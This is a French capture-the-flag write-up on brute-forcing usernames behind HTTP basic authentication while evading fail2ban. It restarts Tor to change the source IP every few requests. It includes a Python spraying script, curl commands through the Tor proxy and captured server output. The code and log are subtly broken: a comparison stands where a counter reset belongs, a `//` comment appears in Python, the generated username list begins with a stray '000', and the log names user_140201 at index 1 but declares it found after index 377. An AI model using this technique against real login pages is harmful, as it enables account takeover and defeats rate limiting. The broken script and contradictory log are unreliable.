date
solved in time of CTF
reverse category score

Nécessaires

  • Tor
  • Python3
  • Curl

Flag

5275e087-d244-4871-aa93-74f4369626c0

Solution détaillée

La solution est plutôt simple.
Le but du challenge est de réussir à se connecter à un serveur HTTP via un BruteForce sur l’username, le problème c’est que le serveur est protégé pas un Fail2ban qui nous ban 10 minutes après 10 fail requests.

On nous donne 2 url:

  • Le premier est pour voir le mdp des possibles username:

Alt text

  • Le deuxième est l’URL de connexion:

Alt text

Les informations importantes sont du coup:

  • Le mdp : f72e2862

  • Le username: user_140000 -> user_140500

Premièrement on va générer tous les possibles username, personnellement j’utilise une commande en python qui me les génère:

┌──(root💀kali)-[~/Desktop/ctf/Pentest_http]
└─# python3 -c "print('\nuser_140'.join(['{0:03}'.format(num) for num in range(0, 501)]))" > usernames.txt

┌──(root💀kali)-[~/Desktop/ctf/Pentest_http]
└─# cat usernames.txt          
000
user_140001
user_140002
...
...
...
user_140500

La question à présent est: comment on peut sauter la sécurité du fail2ban ?

Comment marche le fail2ban?

Pour fair court il va regarder combien de foix un IP tente de se connecter, si elle déplace les tentatives autoriser à fail2ban va bannir l’IP en question pendant le temps indiquer dans sa configuration (nous c’est 10 minutes et 10 tentatives par IP).

Du coup comment fair pour avoir une IP qui change toutes les 10 tentatives?!

Eh bien on va utiliser le réseau de TOR pour changer notre IP.

Si on lance TOR avec service tor start un de nos ports en localhost (default : 9050) et un proxy sur le réseau de TOR on va donc rediriger not requêtes avec curl sur ce port et vérifier quel est notre IP, puis, restart le service pour regarder si notre IP a changé:

┌──(root💀kali)-[~/Desktop]
└─# service tor start

┌──(root💀kali)-[~/Desktop]
└─# curl --socks5-hostname localhost:9050 https://ifconfig.me/
51.195.103.74

┌──(root💀kali)-[~/Desktop]
└─# service tor restart

┌──(root💀kali)-[~/Desktop]
└─# curl --socks5-hostname localhost:9050 https://ifconfig.me/
54.36.108.162

Notre IP a bien changé on va donc pouvoir Brute force l’username avec curl via le proxy de TOR! Go fair un script en python3:

import os
import time

f = open("./usernames.txt")

threads = 7
c = 0
index = 0;
password = "f72e2862"
print("[*] TOR SERVICE START")
os.system("service tor restart")
time.sleep(2)
for line in f:
        if c == threads: //change l'ip tt les 7 request
                os.system("service tor restart")
                time.sleep(2)
                c == 0

        print("[*] Trying this creds: "+line.split('\n')[0])
        print("[*] Password index: "+str(index)+"\n\n")
        payload = 'curl --socks5-hostname localhost:9050 --user '+line.split('\n')[0]+":"+password+' http://pwspray.vm.vuln.land'
        time.sleep(1)
        c += 1
        os.system(payload)
        print(payload)
        index+=1
        print("\n\n")

On star le script! (il est peu un long).

┌──(root💀kali)-[~/Desktop/ctf/Pentest_http]
└─# python3 bypass_http_fail2ban.py

[*] TOR SERVICE START
[*] Trying this creds: user_140000
[*] Password index: 0


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at pwspray.vm.vuln.land Port 80</address>
</body></html>
curl --socks5-hostname localhost:9050 --user user_140000:f72e2862 http://pwspray.vm.vuln.land



[*] Trying this creds: user_140201
[*] Password index: 1

....
....
....
....

[*] Trying this creds: user_140377
[*] Password index: 377



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <title>Password Spraying server</title>
    <style type="text/css" media="screen">
  * {
    margin: 0px 0px 0px 0px;
    padding: 0px 0px 0px 0px;
  }
...
...
...

username: user_140201 GGGG!

Connecte toi et recuper la flag:

Alt text